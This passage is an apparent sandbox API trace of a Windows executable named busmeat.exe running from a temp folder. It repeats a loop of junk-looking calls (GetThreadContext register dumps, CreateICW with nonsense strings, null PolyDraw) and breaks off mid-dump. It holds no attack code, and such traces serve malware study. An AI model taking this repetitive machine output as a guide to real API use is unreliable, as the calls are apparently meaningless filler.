	[0066.158] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.158] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.159] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.159] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.159] GetConsoleCP () returned 0x0
	[0066.159] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.159] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.160] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.160] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.160] GetConsoleCP () returned 0x0
	[0066.160] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 